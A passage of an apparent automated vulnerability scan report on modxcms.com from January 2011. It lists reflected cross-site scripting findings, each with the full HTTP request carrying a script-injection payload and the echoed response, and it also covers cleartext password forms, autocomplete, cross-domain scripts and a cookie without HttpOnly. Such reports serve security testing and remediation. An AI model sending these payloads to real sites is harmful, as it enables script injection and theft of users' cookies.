Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39835

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/community/partners/hosting.html?a3897"><script>alert(1)</script>7a92b5f301d=1" />
...[SNIP]...

1.24. http://modxcms.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdf53"><script>alert(1)</script>213b7cad6e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icobdf53"><script>alert(1)</script>213b7cad6e7 HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:56:52 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18818

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/favicon.icobdf53"><script>alert(1)</script>213b7cad6e7" />
...[SNIP]...

1.25. http://modxcms.com/min/b=assets&f=css/reset.css,css/text.css,css/960.css,js/pushup/css/pushup.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /min/b=assets&f=css/reset.css,css/text.css,css/960.css,js/pushup/css/pushup.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83e4b"><script>alert(1)</script>828ba8bbc44 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /min83e4b"><script>alert(1)</script>828ba8bbc44/b=assets&f=css/reset.css,css/text.css,css/960.css,js/pushup/css/pushup.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/community/partners/hosting.html
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:56:51 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18885

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/min83e4b"><script>alert(1)</script>828ba8bbc44/b=assets&f=css/reset.css,css/text.css,css/960.css,js/pushup/css/pushup.css" />
...[SNIP]...

1.26. http://modxcms.com/min/b=assets&f=css/reset.css,css/text.css,css/960.css,site.css,js/pushup/css/pushup.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /min/b=assets&f=css/reset.css,css/text.css,css/960.css,site.css,js/pushup/css/pushup.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51c22"><script>alert(1)</script>1045134e893 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /min51c22"><script>alert(1)</script>1045134e893/b=assets&f=css/reset.css,css/text.css,css/960.css,site.css,js/pushup/css/pushup.css HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:30 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18894

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/min51c22"><script>alert(1)</script>1045134e893/b=assets&f=css/reset.css,css/text.css,css/960.css,site.css,js/pushup/css/pushup.css" />
...[SNIP]...

1.27. http://modxcms.com/min/b=assets/js&f=jquery-1.3.2.min.js,jquery.tools.min.js,jquery.fancyzoom.js,jquery.labelify.js,jquery.jget.js,modxcms.js,pushup/pushup.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /min/b=assets/js&f=jquery-1.3.2.min.js,jquery.tools.min.js,jquery.fancyzoom.js,jquery.labelify.js,jquery.jget.js,modxcms.js,pushup/pushup.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a6ab"><script>alert(1)</script>e870f11875c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /min4a6ab"><script>alert(1)</script>e870f11875c/b=assets/js&f=jquery-1.3.2.min.js,jquery.tools.min.js,jquery.fancyzoom.js,jquery.labelify.js,jquery.jget.js,modxcms.js,pushup/pushup.js HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f

Response

HTTP/1.1 404 Not Found
Date: Sat, 08 Jan 2011 02:55:30 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 18946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<input id="returnUrl" type="hidden" name="returnUrl" value="/min4a6ab"><script>alert(1)</script>e870f11875c/b=assets/js&f=jquery-1.3.2.min.js,jquery.tools.min.js,jquery.fancyzoom.js,jquery.labelify.js,jquery.jget.js,modxcms.js,pushup/pushup.js" />
...[SNIP]...

2. Cleartext submission of password  previous  next
There are 2 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


2.1. http://modxcms.com/  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET / HTTP/1.1
Host: modxcms.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 07 Jan 2011 21:53:17 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Set-Cookie: SN4b017c9e75f0d=a5f2f510e93a79d125439239c9adcfe2; expires=Fri, 14 Jan 2011 21:53:17 GMT; path=/; domain=.modxcms.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href="htt
...[SNIP]...
<div id="wlpeLogin">
<form id="wlpeLoginForm" action="/" method="post">
<fieldset id="wlpeLoginFieldset">
...[SNIP]...
<label id="wlpePasswordLabel" for="wlpePassword">Password
<input id="wlpePassword" type="password" name="password" />
</label>
...[SNIP]...

2.2. http://modxcms.com/community/partners/hosting.html  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET /community/partners/hosting.html HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 200 OK
Date: Sat, 08 Jan 2011 02:44:23 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39789

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<div id="wlpeLogin">
<form id="wlpeLoginForm" action="community/partners/hosting.html" method="post">
<fieldset id="wlpeLoginFieldset">
...[SNIP]...
<label id="wlpePasswordLabel" for="wlpePassword">Password
<input id="wlpePassword" type="password" name="password" />
</label>
...[SNIP]...

3. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. http://modxcms.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://modxcms.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: modxcms.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 07 Jan 2011 21:53:17 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Set-Cookie: SN4b017c9e75f0d=a5f2f510e93a79d125439239c9adcfe2; expires=Fri, 14 Jan 2011 21:53:17 GMT; path=/; domain=.modxcms.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href="htt
...[SNIP]...
<div id="wlpeLogin">
<form id="wlpeLoginForm" action="/" method="post">
<fieldset id="wlpeLoginFieldset">
...[SNIP]...
<label id="wlpePasswordLabel" for="wlpePassword">Password
<input id="wlpePassword" type="password" name="password" />
</label>
...[SNIP]...

3.2. http://modxcms.com/community/partners/hosting.html  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /community/partners/hosting.html HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 200 OK
Date: Sat, 08 Jan 2011 02:44:23 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39789

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
<div id="wlpeLogin">
<form id="wlpeLoginForm" action="community/partners/hosting.html" method="post">
<fieldset id="wlpeLoginFieldset">
...[SNIP]...
<label id="wlpePasswordLabel" for="wlpePassword">Password
<input id="wlpePassword" type="password" name="password" />
</label>
...[SNIP]...

4. Cross-domain POST  previous  next
There are 2 instances of this issue:

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.


4.1. http://modxcms.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://modxcms.com
Path:   /

Issue detail

The page contains a form which POSTs data to the domain modxcms.list-manage.com. The form contains the following fields:

Request

GET / HTTP/1.1
Host: modxcms.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 07 Jan 2011 21:53:17 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Set-Cookie: SN4b017c9e75f0d=a5f2f510e93a79d125439239c9adcfe2; expires=Fri, 14 Jan 2011 21:53:17 GMT; path=/; domain=.modxcms.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href="htt
...[SNIP]...
</h6>
<form id="newsletterform" action="http://modxcms.list-manage.com/subscribe/post" method="post">
<p>
...[SNIP]...

4.2. http://modxcms.com/community/partners/hosting.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The page contains a form which POSTs data to the domain modxcms.list-manage.com. The form contains the following fields:

Request

GET /community/partners/hosting.html HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 200 OK
Date: Sat, 08 Jan 2011 02:44:23 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39789

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
</h6>
<form id="newsletterform" action="http://modxcms.list-manage.com/subscribe/post" method="post">
<p>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://modxcms.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://modxcms.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: modxcms.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 07 Jan 2011 21:53:17 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Set-Cookie: SN4b017c9e75f0d=a5f2f510e93a79d125439239c9adcfe2; expires=Fri, 14 Jan 2011 21:53:17 GMT; path=/; domain=.modxcms.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href="htt
...[SNIP]...
</p>
<script src="http://us1.campaign-archive.com/generate-js/?u=08b25a8de68a29fe03a483720&amp;fid=1&amp;show=1" type="text/javascript"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://include.reinvigorate.net/re_.js"></script>
...[SNIP]...

5.2. http://modxcms.com/community/partners/hosting.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://modxcms.com
Path:   /community/partners/hosting.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /community/partners/hosting.html HTTP/1.1
Host: modxcms.com
Proxy-Connection: keep-alive
Referer: http://modxcms.com/?9b1d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E669205ce58=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SN4b017c9e75f0d=a2662ae2eb5757af7a33a4b39330f51f; SnapABugRef=http%3A//modxcms.com/%3F9b1d5%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E669205ce58%3D1%20http%3A//burp/show/21; __utmz=224902790.1294454681.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/21; __utma=224902790.1708294106.1294454681.1294454681.1294454681.1; __utmc=224902790; __utmb=224902790.1.10.1294454681; 3se8s-20bkzla0rv_r=0; 3se8s-20bkzla0rv_s=160654865; 3se8s-20bkzla0rv_i=1; 3se8s-20bkzla0rv_vt=1294454681100

Response

HTTP/1.1 200 OK
Date: Sat, 08 Jan 2011 02:44:23 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39789

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<base href=
...[SNIP]...
</p>
<script src="http://us1.campaign-archive.com/generate-js/?u=08b25a8de68a29fe03a483720&amp;fid=1&amp;show=1" type="text/javascript"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://include.reinvigorate.net/re_.js"></script>
...[SNIP]...

6. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://modxcms.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: modxcms.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 07 Jan 2011 21:53:17 GMT
Server: Apache/2.2.9 (Unix) DAV/2 SVN/1.5.2 mod_jk/1.2.26 mod_perl/2.0.4 Perl/v5.10.1
Set-Cookie: SN4b017c9e75f0d=a5f2f510e93a79d125439239c9adcfe2; expires=Fri, 14 Jan 2011 21:53:17 GMT; path=/; domain=.modxcms.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
